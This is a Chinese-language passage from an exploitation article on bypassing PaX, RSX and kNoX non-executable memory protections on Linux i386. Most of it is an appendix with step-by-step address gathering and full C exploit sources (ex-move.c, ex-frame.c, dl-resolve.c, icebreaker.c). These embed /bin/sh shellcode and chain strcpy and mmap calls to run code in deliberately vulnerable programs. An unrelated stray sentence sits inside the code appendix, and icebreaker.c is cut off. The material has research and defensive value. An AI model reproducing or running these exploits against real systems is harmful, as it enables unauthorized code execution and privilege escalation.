对此,我知道两个解决的方法,在Linux i386系统,让所有的数据段不可执行.第一个是RSX[见文10].
由于,这种解决方法没有在堆栈中实现,也没有让库函数基址地址随机化,所以在3章中讲述了通过链接多个函数调用来实不可执行的突破.

如果我们要执行任意的代码,我们还需要额外的努力.比如在RSX系统,在保护模式可写的内存区域不能够放置执行代码.所以前面的mmap(...PROT_READ|PROT_WRITE|PROT_EXEC) 欺骗方法就不能够工作.但是任何不可执行的设计必须允许共享库函数里可以执行代码.
在RSX系统,通过这种办法,包含有shellcode的mmap(...PROT_READ|PROT_EXEC)达到了目的.远程利用的实现,其联结允许我们先创建这个文件。

第二种解决方法,和前一种类似的,是kNoX[见文11],不同的地方是对库函数进行了随机地址映射.其地址开始于0x00110000.(和Solar的补丁类似)在本文3.4节的末提及.这种保护仍然还不够:)


----[ 7.4 - 改进现有"不可执行"的设计
不知道是幸运还是不幸运,对保护者也许不幸运.呵呵,我没有见到可以让Pax更加牢固的方法以避免现有的技术攻击:)显然,由于 ELF 的标准描述过于详细的将其的某些对攻击者有用的技术细节公之于众,当然,一些现有的欺骗手段能够被得以制止.比如使用内核补丁.但不能够限制共享库函数在exploit技术中的实现.除非是对函数的联结来限制用法云云.

另一方面,如果正确的配置Pax,将会让现有的exploit技术的实现变得困难甚至是不能够实现.当Pax变得更加可靠的时候,应易于使用.呵呵,简单是另一种层次的防守:)

----[ 7.5 - 版本信息
所有代码均在以下补丁版本中测试:
pax-linux-2.4.16.patch
kNoX-2.2.20-pre6.tar.gz
rsx.tar.gz for kernel 2.4.5
代码可以在任何2.4.x 内核版本的系统运行,但不能够在2.2.x的版本!

--[ 8 - 参考的出版物和工程项目
[1] Aleph One
        the article in phrack 49 that everybody quotes
[2] Solar Designer
        "Getting around non-executable stack (and fix)"
        http://www.securityfocus.com/archive/1/7480
[3] Rafal Wojtczuk
        "Defeating Solar Designer non-executable stack patch"
        http://www.securityfocus.com/archive/1/8470
[4] John McDonald
        "Defeating Solaris/SPARC Non-Executable Stack Protection"
        http://www.securityfocus.com/archive/1/12734
[5] Tim Newsham
        "non-exec stack"
        http://www.securityfocus.com/archive/1/58864
[6] Gerardo Richarte, "Re: Future of buffer overflows ?"
        http://www.securityfocus.com/archive/1/142683
[7] PaX team
        PaX
        http://pageexec.virtualave.net
[8] segvguard
        ftp://ftp.pl.openwall.com/misc/segvguard/
[9] ELF specification
        http://fileformat.virtualave.net/programm/elf11g.zip
[10] Paul Starzetz
        Runtime addressSpace Extender
        http://www.ihaquer.com/software/rsx/
[11] Wojciech Purczynski
        kNoX
        http://cliph.linux.pl/knox
[12] grugq
        "Cheating the ELF"
        http://hcunix.7350.org/grugq/doc/subversiveld.pdf

9- [ 附件:README.code
<++>代码注解
准备好有缺陷的程序,进行编译。
$ gcc -o vuln.omit -fomit-frame-pointer vuln.c
$ gcc -o vuln vuln.c
$ gcc -o pax pax.c
I. ex-move.c
~~~~~~~~~~~~
ex-move.c代码的前面部分预定义了一些象LIBC, STRCPY, MMAP, POPSTACK, POPNUM, PLAIN_RET, FRAMES 的常数,你可以根据系统的环境进行调整,注意:MMAP_START 不能改变

下面,我们来获得这些我们需要的在代码中预定义的常数。
1)LIBC
[nergal@behemoth pax]$ ldd ./vuln.omit(*通过ldd,我们可以获得有缺陷函数vuln.omit调用的库函数及其地址)
    libc.so.6 => /lib/libc.so.6 (0x4001e000)<-yeah,这就是库函数的入口地址0x4001e000
    /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)

2) STRCPY
[nergal@behemoth pax]$ objdump -T vuln.omit(*通过objdump的参数-T,我们可以得到vuln.omit的动态符号表( DST)
vuln.omit:    file format elf32-i386(显示文件格式)

动态符号表:
08048348  w  DF *UND*  00000081  GLIBC_2.0  __register_frame_info
08048358      DF *UND*  0000010c  GLIBC_2.0  getenv
08048368  w  DF *UND*  000000ac  GLIBC_2.0  __deregister_frame_info
08048378      DF *UND*  000000e0  GLIBC_2.0  __libc_start_main
08048388  w  DF *UND*  00000091  GLIBC_2.1.3 __cxa_finalize
08048530 g    DO .rodata        00000004  Base        _IO_stdin_used
00000000  w  D  *UND*  00000000              __gmon_start__
08048398      DF *UND*  00000030  GLIBC_2.0  strcpy <-------oh,yeah!
~~~~~~~~(得到调用strcpy函数的地址)

3) MMAP
[nergal@behemoth pax]$ objdump -T /lib/libc.so.6 | grep mmap(*从库函数DST中找到mmap地址)
000daf10  w  DF .text  0000003a  GLIBC_2.0  mmap <-----yeah,中彩了。
000db050  w  DF .text  000000a0  GLIBC_2.1  mmap64

4) POPSTACK/POPNUM/PLAIN_RET
我们必须找到"add $imm,%esp" 后面的"ret"指令。我们需要反汇编缺陷程序vuln.omit ,可以使用gdb的disas指令,也可以用objdump命令。这里使用"objdump --disassemble ./vuln.omit"。
[nergal@behemoth pax]$ objdump --disassemble ./vuln.omit |grep -B 1 ret(*找出反汇编程序vuln.omit中ret部分)
...省略一些无关输出
--
80484be:      83 c4 2c                add    $0x2c,%esp
~~~~~~~~(这是出栈前,add指令中的栈指针地址)  ~~~~~~(POPNUM的数值) 80484c1:      c3                      ret
~~~~~~~~~("ret"指令的地址)
--
80484fe:      5d                      pop    %ebp
80484ff:      c3                      ret
--
...省略一些无关输出

5) FRAMES
现在我们要找出,在堆栈溢出发生后,堆栈指针的数值。我们要做的事情是让有缺陷的程序vuln.omit发生段错误(core dumped),通过产生的core文件调试该缺陷程序,以获得FRAMES的预定义数值。我们的exploit代码ex-move.c中的参数"testing"将0x5060708保存在指令指针中,我们只需要这样做:
[nergal@behemoth pax]$ ./ex-move testing
Segmentation fault (core dumped) <------------- 发生了溢出,进行下一步gbd
[nergal@behemoth pax]$ gdb ./vuln.omit core 
(no debugging symbols found)...
Core was generated by ./vuln.omit'.
Program terminated with signal 11, Segmentation fault.
#0  0x5060708 in ?? ()
      ~~~~~~~~~(和ex-move的指令指针数值一样,如果该数值大于了0x5060708,意味着需要调整堆栈,同时exploit代码ex-move.c中定义结构体ov中的数组"scratch"需要做一定的调整。)
(gdb) info regi(*显示寄存器中的数值)
...
esp            0xbffffde0      0xbffffde0
                                ~~~~~~~~~~(堆栈指针数值:这就是我们要找的FEAMES数值)
...
经过一番曲折,总算完成了exploit代码ex-move.c中的预定义。
现在来看攻击没有使用最优化选项编译的缺陷程序的exploit代码:ex-frame.c

II. ex-frame.c
~~~~~~~~~~~~~~ 
哇靠,还要做调整阿,废话:)LIBC, STRCPY, MMAP, LEAVERET 和FRAMES需要适当调整,和ex-move.c中方法差不多,LIBC,STRCPY, MMAP 以及 FRAMES也是这样。
LEAVERET的地址是"leave; ret"指令序列的地址。找它的方法和前面一样,同样使用objdump --disassemble 命令。
[nergal@behemoth pax]$ objdump --disassemble vuln|grep leave -A 1
objdump: vuln: no symbols
8048335:      c9                      leave
8048336:      c3                      ret
--
80484bd:      c9                      leave
~~~~~~~(由3.3节帧伪造可以知道第2帧的leave地址是我们需要的)
80484be:      c3                      ret
--
8048518:      c9                      leave
8048519:      c3                      ret


III. dl-resolve.c
~~~~~~~~~~~~~~~~~
需要对代码中预定义的STRTAB, SYMTAB, JMPREL, VERSYM 和PLT_SECTION常数数值进行调整
由于dl-resolve.c2进制本身关系 ,需要进行两次编译。第一次编译,我们只需#define dummy 值。然后打入下面命令:
[nergal@behemoth pax]$ objdump -x dl-resolve
        输出下面的信息(动态符号表、串表,重定位入口,etc):
[...无关信息...]
动态段区域:
  NEEDED      libc.so.6
  INIT        0x804839c
  FINI        0x80486ec
  HASH        0x8048128
  STRTAB      0x8048240  (得到串表STRTAB地址)
  SYMTAB      0x8048170  (得到符号表SYMTAB地址)
  STRSZ      0xa1
  SYMENT      0x10
  DEBUG      0x0
  PLTGOT      0x80497a8
  PLTRELSZ    0x48
  PLTREL      0x11
  JMPREL      0x8048354  (得到JMPREL地址,和PLT地址有关联)
  REL        0x8048344
  RELSZ      0x10
  RELENT      0x8
  VERNEED    0x8048314
  VERNEEDNUM  0x1
  VERSYM      0x80482f8  (得到VERSYM符号版本地址)

       
"objdump -x"命令输出过程连接表(PLT)段区域
[...无关信息...]
段区域:
  索引名称            Size      VMA      LMA      File off  Algn
  0 .interp中断段    00000013  080480f4  080480f4  000000f4  2**0
...
11 .plt过程连接表段 000000a0  080483cc  080483cc  000003cc  2**2
                              ~~~~|~~~~~~~~~~~~~~                               
                                  --该地址为plt入口地址,得到预定义PLT_SECTION数值
                    CONTENTS, ALLOC, LOAD, READONLY, CODE
再次编译代码dl-resolve.c ,最后我们可以看到象下面:
old_mmap(0xaa011000, 16846848, PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0x1011000) = 0xaa011000
_exit(123)                              = ?   
这样,mmap()被调用,虽然它不在dl-resolve.c的PLT入口。当然我们可以增加到shellcode中执行,但是没有多大必要对只是证明该理论而编写。

IV. icebreaker.c
~~~~~~~~~~~~~~~~
9个预定义需要被调整,两个固定:FRAMESINDATA 和 VIND.
1) FRAMESINDATA
这是定位或者从内存中划分伪造帧拷贝的静态变量,在pax.c,我们需要找到"bigbuf"数组的地址,如果被攻击的2进制文件没有被脱壳,那么很容易得到该地址,反之,我们必须分析反汇编的输出,在pax.c中13行,"bigbuf"变量在"strncat"函数的参数中出现,如下:
strncat(bigbuf, ptr, sizeof(bigbuf)-1);
那么,我们需要找到strncat函数地址:
[nergal@behemoth pax]$ objdump -T pax | grep strncat
0804836c      DF *UND*  0000009e  GLIBC_2.0  strncat
~~~~~~~~(strncat 函数地址)
[nergal@behemoth pax]$ objdump -d pax|grep 804836c -B 3  <- _not_ 0804836c(*反汇编pax,通过strncat地址,找到bigbuf的地址)
objdump: pax: no symbols
8048362:      ff 25 c8 95 04 08      jmp    *0x80495c8
8048368:      00 00                  add    %al,(%eax)
804836a:      00 00                  add    %al,(%eax)
804836c:      ff 25 cc 95 04 08      jmp    *0x80495cc
--
80484e5:      68 ff 03 00 00          push  $0x3ff          <- 1023
80484ea:      ff 75 e4                pushl  0xffffffe4(%ebp) <- ptr
80484ed:      68 c0 9a 04 08          push  $0x8049ac0      <- bigbuf
80484f2:      e8 75 fe ff ff          call  0x804836c

找到bigbuf的地址是0x8049ac0.即为预定义的FRAMESINDATA数值。

2) VIND
在上文中提到了[低地址,高地址]的间隔,在间隔中寻找短零字节,这个间隔的内存位置是
[VERSYM+(low_addr-SYMTAB)/8, VERSYM+(hi_addr-SYMTAB)/8]区域。(详见6.2节)
[nergal@behemoth pax]$ gdb ./icebreaker
(gdb) set args testing  (设置参数为"testing")
(gdb) r                              (以参数testing运行icebreaker程序)
Starting program: /home/nergal/pax/./icebreaker testing
Program received signal SIGTRAP, Trace/breakpoint trap.
Cannot remove breakpoints because program is no longer writable.
It might be running in another process.
Further execution is probably impossible.
0x4ffb7d30 in ?? ()      <- icebreaker执行了pax
(gdb) c        (继续执行下个函数)
Continuing.

Program received signal SIGSEGV, Segmentation fault.
Cannot remove breakpoints because program is no longer writable.
It might be running in another process.
Further execution is probably impossible.
0x5060708 in ?? ()      <- pax 发生段错误
(gdb) shell              (获得shell)
[nergal@behemoth pax]$ ps ax | grep pax        (获得pax的进程号:1419)
1419 pts/0    T      0:00 pax               
[nergal@behemoth pax]$ cat /proc/1419/maps    (查看进程号中的映像文件)
08048000-08049000 r-xp 00000000 03:45 100958    /home/nergal/pax/pax
08049000-0804a000 rw-p 00000000 03:45 100958    /home/nergal/pax/pax
^^^^^^^^^^^^^^^^^
^^^^^^^^^^^^^^^^^ 这是我们找的低地址(0x08049000),高地址(0x0804a000)
4ffb6000-4ffcc000 r-xp 00000000 03:45 107760    /lib/ld-2.1.92.so
4ffcc000-4ffcd000 rw-p 00015000 03:45 107760    /lib/ld-2.1.92.so
4ffcd000-4ffce000 rw-p 00000000 00:00 0
4ffd4000-500ef000 r-xp 00000000 03:45 107767    /lib/libc-2.1.92.so
500ef000-500f5000 rw-p 0011a000 03:45 107767    /lib/libc-2.1.92.so
500f5000-500f9000 rw-p 00000000 00:00 0
bfff6000-bfff8000 rw-p fffff000 00:00 0
[nergal@behemoth pax]$ exit        (退出shell,进入gdb调试模式)
exit
(gdb) printf "0x%x\n", 0x80482a8+(0x08049000-0x8048164)/8 
0x804847b          (计算出VERSYM+(low_addr-SYMTAB)/8的数值)

(gdb) printf "0x%x\n", 0x80482a8+(0x0804a000-0x8048164)/8
0x804867b          (计算出VERSYM+(hi_addr-SYMTAB)/8的数值)
/* 现在我们在[0x804847b, 0x804867b]区域搜索短零字节
(gdb) printf "0x%x\n", 0x804867b-0x804847b
0x200              (计算该区域的大小)
(gdb) x/256hx 0x804847b      (从该区域开始地址,显示出256个16进制内存区域,以搜索"0000"短零字节)
... 非常多的象流星雨的0000在这里...

现在阅读6.2节的文章,了解更多的"流星花园"
<-->代码部分
<++> vuln.c
#include <stdlib.h>
#include <string.h>
int
main(int argc, char ** argv)
{
char buf[16];
char * ptr = getenv("LNG");
if (ptr)
  strcpy(buf,ptr);
}
<-->

<++> ex-move.c
/* by Nergal */

#include <stdio.h>
#include <stddef.h>
#include <sys/mman.h>

#define LIBC            0x4001e000
#define STRCPY          0x08048398
#define MMAP            (0x000daf10+LIBC)
#define POPSTACK        0x80484be
#define PLAIN_RET        0x80484c1
#define POPNUM          0x2c
#define FRAMES          0xbffffde0

#define MMAP_START      0xaa011000

char hellcode[] =
    "\x90"
    "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80"
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";


/* This is a stack frame of a function which takes two arguments */
struct two_arg {
        unsigned int func;
        unsigned int leave_ret;
        unsigned int param1;
        unsigned int param2;
};
struct mmap_args {
        unsigned int func;
        unsigned int leave_ret;
        unsigned int start;
        unsigned int length;
        unsigned int prot;
        unsigned int flags;
       

int fd;
        unsigned int offset;
};

/* The beginning of our overflow payload.
Consumes the buffer space and overwrites %eip */
struct ov {
        char scratch[28];
        unsigned int eip;
};

/* The second part ot the payload. Four functions will be called:
strcpy, strcpy, mmap, strcpy */
struct ourbuf {
        struct two_arg zero1;
        char pad1[8 + POPNUM - sizeof(struct two_arg)];
        struct two_arg zero2;
        char pad2[8 + POPNUM - sizeof(struct two_arg)];
        struct mmap_args mymmap;
        char pad3[8 + POPNUM - sizeof(struct mmap_args)];
        struct two_arg trans;
        char hell[sizeof(hellcode)];
};

#define PTR_TO_NULL (FRAMES+sizeof(struct ourbuf))
file://#define PTR_TO_NULL 0x80484a7

main(int argc, char **argv)
{
        char lg[sizeof(struct ov) + sizeof(struct ourbuf) + 4 + 1];
        char *env[2] = { lg, 0 };
        struct ourbuf thebuf;
        struct ov theov;
        int i;

        memset(theov.scratch, 'X', sizeof(theov.scratch));

        if (argc == 2 && !strcmp("testing", argv[1])) {
                for (i = 0; i < sizeof(theov.scratch); i++)
                        theov.scratch[i] = i + 0x10;
                theov.eip = 0x05060708;
        } else {
/* To make the code easier to read, we initially return into "ret". This will
return into the address at the beginning of our "zero1" struct. */
                theov.eip = PLAIN_RET;
        }

        memset(&thebuf, 'Y', sizeof(thebuf));

        thebuf.zero1.func = STRCPY;
        thebuf.zero1.leave_ret = POPSTACK;
/* The following assignment puts into "param1" the address of the least
significant byte of the "offset" field of "mmap_args" structure. This byte
will be nullified by the strcpy call. */
        thebuf.zero1.param1 = FRAMES + offsetof(struct ourbuf, mymmap) +
            offsetof(struct mmap_args, offset);
        thebuf.zero1.param2 = PTR_TO_NULL;

        thebuf.zero2.func = STRCPY;
        thebuf.zero2.leave_ret = POPSTACK;
/* Also the "start" field must be the multiple of page. We have to nullify
its least significant byte with a strcpy call. */
        thebuf.zero2.param1 = FRAMES + offsetof(struct ourbuf, mymmap) +
            offsetof(struct mmap_args, start);
        thebuf.zero2.param2 = PTR_TO_NULL;


        thebuf.mymmap.func = MMAP; /*调用mmap函数*/
        thebuf.mymmap.leave_ret = POPSTACK;
        thebuf.mymmap.start = MMAP_START + 1; /*mmap函数映像开始地址*/
        thebuf.mymmap.length = 0x01020304;    /*mmap函数映像长度*/
/* Luckily, 2.4.x kernels care only for the lowest byte of "prot", so we may
put non-zero junk in the other bytes. 2.2.x kernels are more picky; in such
case, we would need more zeroing. */
        thebuf.mymmap.prot =
            0x01010100 | PROT_EXEC | PROT_READ | PROT_WRITE;
/* Same as above. Be careful not to include MAP_GROWS_DOWN */
        thebuf.mymmap.flags =
            0x01010200 | MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS;
        thebuf.mymmap.fd = 0xffffffff;      /*文件描述符,即为-1 */ 
        thebuf.mymmap.offset = 0x01021001; /*mmap偏移量*/
/*以上设置函数mmap()的各个参数,见4.2节*/
/* The final "strcpy" call will copy the shellcode into the freshly mmapped
area at MMAP_START. Then, it will return not anymore into POPSTACK, but at
MMAP_START+1.
*/
/*以下调用strcpy(),将shellcode拷贝到新mmap的映像区域,该区域在参数*start地址+1 */
        thebuf.trans.func = STRCPY;
        thebuf.trans.leave_ret = MMAP_START + 1;
        thebuf.trans.param1 = MMAP_START + 1;
        thebuf.trans.param2 = FRAMES + offsetof(struct ourbuf, hell);

        memset(thebuf.hell, 'x', sizeof(thebuf.hell));
        strncpy(thebuf.hell, hellcode, strlen(hellcode));

        strcpy(lg, "LNG=");
        memcpy(lg + 4, &theov, sizeof(theov));
        memcpy(lg + 4 + sizeof(theov), &thebuf, sizeof(thebuf));
        lg[4 + sizeof(thebuf) + sizeof(theov)] = 0;

        if (sizeof(struct ov) + sizeof(struct ourbuf) + 4 != strlen(lg)) {
                fprintf(stderr,
                    "size=%i len=%i; zero(s) in the payload, correct it.\n",
                    sizeof(struct ov) + sizeof(struct ourbuf) + 4,
                    strlen(lg));
                exit(1);
        }
        execle("./vuln.omit", "./vuln.omit", 0, env, 0);
}
<-->

<++> pax.c
#include <stdlib.h>
#include <string.h>
char spare[1024];
char bigbuf[1024];

int
main(int argc, char ** argv)
{
char buf[16];
char * ptr=getenv("STR");
if (ptr) {
  bigbuf[0]=0;
  strncat(bigbuf, ptr, sizeof(bigbuf)-1);
}
ptr=getenv("LNG");
if (ptr)
  strcpy(buf, ptr);
}
<-->

<++> ex-frame.c
/* by Nergal */
#include <stdio.h>
#include <stddef.h>
#include <sys/mman.h>

#define LIBC        0x4001e000
#define STRCPY      0x08048398
#define MMAP        (0x000daf10+LIBC)
#define LEAVERET    0x80484bd
#define FRAMES      0xbffffe30

#define MMAP_START  0xaa011000

char hellcode[] =
    "\x90"
    "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80"
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";


/* See the comments in ex-move.c */
struct two_arg {
        unsigned int new_ebp;
        unsigned int func;
        unsigned int leave_ret;
        unsigned int param1;
        unsigned int param2;
};
struct mmap_args {
        unsigned int new_ebp;
        unsigned int func;
        unsigned int leave_ret;
        unsigned int start;
        unsigned int length;
        unsigned int prot;
        unsigned int flags;
        unsigned int fd;
        unsigned int offset;
};

struct ov {
        char scratch[24];
        unsigned int ebp;
        unsigned int eip;
};

struct ourbuf {
        struct two_arg zero1;
        struct two_arg zero2;
        struct mmap_args mymmap;
        struct two_arg trans;
        char hell[sizeof(hellcode)];
};

#define PTR_TO_NULL (FRAMES+sizeof(struct ourbuf))

main(int argc, char **argv)
{
        char lg[sizeof(struct ov) + sizeof(struct ourbuf) + 4 + 1];
        char *env[2] = { lg, 0 };
        struct ourbuf thebuf;
        struct ov theov;
        int i;

        memset(theov.scratch, 'X', sizeof(theov.scratch));

        if (argc == 2 && !strcmp("testing", argv[1])) {
                for (i = 0; i < sizeof(theov.scratch); i++)
                        theov.scratch[i] = i + 0x10;
                theov.ebp = 0x01020304;
                theov.eip = 0x05060708;
        } else {
                theov.ebp = FRAMES;
                theov.eip = LEAVERET;
        }
        thebuf.zero1.new_ebp = FRAMES + offsetof(struct ourbuf, zero2);
        thebuf.zero1.func = STRCPY;
        thebuf.zero1.leave_ret = LEAVERET;
        thebuf.zero1.param1 = FRAMES + offsetof(struct ourbuf, mymmap) +
            offsetof(struct mmap_args, offset);
        thebuf.zero1.param2 = PTR_TO_NULL;

        thebuf.zero2.new_ebp = FRAMES + offsetof(struct ourbuf, mymmap);
        thebuf.zero2.func = STRCPY;
        thebuf.zero2.leave_ret = LEAVERET;
        thebuf.zero2.param1 = FRAMES + offsetof(struct ourbuf, mymmap) +
            offsetof(struct mmap_args, start);
        thebuf.zero2.param2 = PTR_TO_NULL;


        thebuf.mymmap.new_ebp = FRAMES + offsetof(struct ourbuf, trans);
        thebuf.mymmap.func = MMAP;
        thebuf.mymmap.leave_ret = LEAVERET;
        thebuf.mymmap.start = MMAP_START + 1;
        thebuf.mymmap.length = 0x01020304;
        thebuf.mymmap.prot =
            0x01010100 | PROT_EXEC | PROT_READ | PROT_WRITE;
        /* again, careful not to include MAP_GROWS_DOWN below */
        thebuf.mymmap.flags =
            0x01010200 | MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS;
        thebuf.mymmap.fd = 0xffffffff;
        thebuf.mymmap.offset = 0x01021001;

        thebuf.trans.new_ebp = 0x01020304;
        thebuf.trans.func = STRCPY;
        thebuf.trans.leave_ret = MMAP_START + 1;
        thebuf.trans.param1 = MMAP_START + 1;
        thebuf.trans.param2 = FRAMES + offsetof(struct ourbuf, hell);

        memset(thebuf.hell, 'x', sizeof(thebuf.hell));
        strncpy(thebuf.hell, hellcode, strlen(hellcode));

        strcpy(lg, "LNG=");
        memcpy(lg + 4, &theov, sizeof(theov));
        memcpy(lg + 4 + sizeof(theov), &thebuf, sizeof(thebuf));
        lg[4 + sizeof(thebuf) + sizeof(theov)] = 0;

        if (sizeof(struct ov) + sizeof(struct ourbuf) + 4 != strlen(lg)) {
                fprintf(stderr,
                    "size=%i len=%i; zero(s) in the payload, correct it.\n",
                    sizeof(struct ov) + sizeof(struct ourbuf) + 4,
                    strlen(lg));
                exit(1);
        }
        execle("./vuln", "./vuln", 0, env, 0);
}
<-->

<++> dl-resolve.c
/* by Nergal */
#include <stdlib.h>
#include <elf.h>
#include <stdio.h>
#include <string.h>

#define STRTAB 0x8048240
#define SYMTAB 0x8048170
#define JMPREL 0x8048354
#define VERSYM 0x80482f8

#define PLT_SECTION "0x080483cc"

void graceful_exit()
{
        exit(123);
}

void doit(int offset)
{
        int res;
        __asm__ volatile ("
            pushl $0x01011000
            pushl $0xffffffff
            pushl $0x00000032
            pushl $0x00000007
            pushl $0x01011000
            pushl $0xaa011000
            pushl %%ebx
            pushl %%eax
            pushl $" PLT_SECTION "
            ret"
            :"=a"(res)
            :"0"(offset),
            "b"(graceful_exit)
        );

}

/* this must be global */
Elf32_Rel reloc;

#define ANYTHING 0xfe
#define RQSIZE 60000
int
main(int argc, char **argv)
{
        unsigned int reloc_offset;
        unsigned int real_index;
        char symbol_name[16];
        int dummy_writable_int;
        char *tmp = malloc(RQSIZE);
        Elf32_Sym *sym;
        unsigned short *null_short = (unsigned short*) tmp;
       
        /* create a null index into VERSYM */
        *null_short = 0;
       
        real_index = ((unsigned int) null_short - VERSYM) / sizeof(*null_short);
        sym = (Elf32_Sym *)(real_index * sizeof(*sym) + SYMTAB);
        if ((unsigned int) sym > (unsigned int) tmp + RQSIZE) {
                fprintf(stderr,
                    "mmap symbol entry is too far, increase RQSIZE\n");
                exit(1);
        }
/*baby my favorably number is not a white,baby my favorably number is not a black ----magic number*/
        strcpy(symbol_name, "mmap");
        sym->st_name = (unsigned int) symbol_name - (unsigned int) STRTAB;
        sym->st_value = (unsigned int) &dummy_writable_int;
        sym->st_size = ANYTHING;
        sym->st_info = ANYTHING;
        sym->st_other = ANYTHING & ~3;
        sym->st_shndx = ANYTHING;
        reloc_offset = (unsigned int) (&reloc) - JMPREL;
        reloc.r_info = R_386_JMP_SLOT + real_index*256;
        reloc.r_offset = (unsigned int) &dummy_writable_int;

        doit(reloc_offset);
        printf("not reached\n");
        return 0;
}
<-->
The oneself that do the affair, deeply drunk likes among them, and forget any politics with tiresome, with concentration study, and have no to show interest。-r000t
<++> icebreaker.c
/* by Nergal */
#include <stdio.h>
#include <stddef.h>
#include <sys/mman.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>

#define STRCPY          0x080483cc
#define LEAVERET        0x08048359
#define FRAMESINDATA    0x08049ac0

#define STRTAB          0x8048204
#define SYMTAB          0x8048164
#define JMPREL          0x80482f4
#define VERSYM          0x80482a8
#define PLT            0x0804835c

#define VIND            0x804859b

#define MMAP_START      0xaa011000

char hellcode[] =
    "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80"
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";

/*
Unfortunately, if mmap_string = "mmap", accidentaly there appears a "0" in
our payload. So, we shift the name by 1 (one 'x').
*/
#define NAME_ADD_OFF 1

char mmap_string[] = "xmmap";
struct two_arg {
        unsigned int new_ebp;
        unsigned int func;
        unsigned int leave_ret;
        unsigned int param1;
        unsigned int param2;
};
struct mmap_plt_args {
        unsigned int new_ebp;
        unsigned int put_plt_here;
        unsigned int reloc_offset;
        unsigned int leave_ret;
        unsigned int start;
        unsigned int length;
        unsigned int prot;
        unsigned int flags;
        unsigned int fd;
        unsigned int offset;
};
struct my_elf_rel {
        unsigned int r_offset;
        unsigned int r_info;
};
struct my_elf_sym {
        unsigned int st_name;
        unsigned int st_value;
        unsigned int st_size;        /* Symbol size */
        unsigned char st_info;        /* Symbol type and binding */
        unsigned char st_other;        /* ELF spec say: No defined meaning, 0 */
        unsigned short st_shndx;        /* Section index */

};

struct ourbuf {
        struct two_arg reloc;
        struct two_arg zero[8];
        struct mmap_plt_args mymmap;
        struct two_arg trans;
        char hell[sizeof(hellcode)];
        struct my_elf_rel r;
        struct my_elf_sym sym;
        char mmapname[sizeof(mmap_string)];

};

struct ov {
        char scratch[24];
        unsigned int ebp;
        unsigned int eip;
};

#define PTR_TO_NULL (VIND+1)
/* this functions prepares strcpy frame so that the strcpy call will zero
  a byte at "addr"
*/
void fix_zero(struct ourbuf *b, unsigned int addr, int idx)
{
        b->zero[idx].new_ebp = FRAMESINDATA +
            offsetof(struct ourbuf,
            zero) + sizeof(struct two_arg) * (idx + 1);
        b->zero[idx].func = STRCPY;
        b->zero[idx].leave_ret = LEAVERET;
        b->zero[idx].param1 = addr;
        b->zero[idx].param2 = PTR_TO_NULL;
}

/* this function checks if the byte at position "offset" is zero; if so,
prepare a strcpy frame to nullify it; else, prepare a strcpy frame to
nullify some secure, unused location */
void setup_zero(struct ourbuf *b, unsigned int offset, int zeronum)
{
        char *ptr = (char *) b;
        if (!ptr[offset]) {
                fprintf(stderr, "fixing zero at %i(off=%i)\n", zeronum,
                    offset);
                ptr[offset] = 0xff;
                fix_zero(b, FRAMESINDATA + offset, zeronum);
        } else
                fix_zero(b, FRAMESINDATA + sizeof(struct ourbuf) + 4,
                    zeronum);
}

/* same as above, but prepare to nullify a byte not in our payload, but at
absolute address abs */
void setup_zero_abs(struct ourbuf *b, unsigned char *addr, int offset,
    int zeronum)
{
        char *ptr = (char *) b;
        if (!ptr[offset]) {
                fprintf(stderr, "fixing abs zero at %i(off=%i)\n", zeronum,
                    offset);
                ptr[offset] = 0xff;
                fix_zero(b, (unsigned int) addr, zeronum);
        } else
                fix_zero(b, FRAMESINDATA + sizeof(struct ourbuf) + 4,
                    zeronum);
}

int main(int argc, char **argv)
{
        char lng[sizeof(struct ov) + 4 + 1];
        char str[sizeof(struct ourbuf) + 4 + 1];
        char *env[3] = { lng, str, 0 };
        struct ourbuf thebuf;
        struct ov theov;
        int i;
        unsigned int real_index, mysym, reloc_offset;

        memset(theov.scratch, 'X', sizeof(theov.scratch));
        if (argc == 2 && !strcmp("testing", argv[1])) {
                for (i = 0; i < sizeof(theov.scratch); i++)
                        theov.scratch[i] = i + 0x10;
                theov.ebp = 0x01020304;
                theov.eip = 0x05060708;
        } else {
                theov.ebp = FRAMESINDATA;
                theov.eip = LEAVERET;
        }
        strcpy(lng, "LNG=");
        memcpy(lng + 4, &theov, sizeof(theov));
        lng[4 + sizeof(theov)] = 0;

        memset(&thebuf, 'A', sizeof(thebuf));
        real_index = (VIND - VERSYM) / 2;
        mysym = SYMTAB + 16 * real_index;
        fprintf(stderr, "mysym=0x%x\n", mysym);
        if (mysym > FRAMESINDATA
            && mysym < FRAMESINDATA + sizeof(struct ourbuf) + 16) {
                fprintf(stderr,
                    "syment intersects our payload;"
                    " choose another VIND or FRAMESINDATA\n");
                exit(1);
        }

        reloc_offset = FRAMESINDATA + offsetof(struct ourbuf, r) - JMPREL;

/* This strcpy call will relocate my_elf_sym from our payload to a fixed,
appropriate location (mysym)
*/
        thebuf.reloc.new_ebp =
            FRAMESINDATA + offsetof(struct ourbuf, zero);
        thebuf.reloc.func = STRCPY;
        thebuf.reloc.leave_ret = LEAVERET;
        thebuf.reloc.param1 = mysym;
        thebuf.reloc.param2 = FRAMESINDATA + offsetof(struct ourbuf, sym);
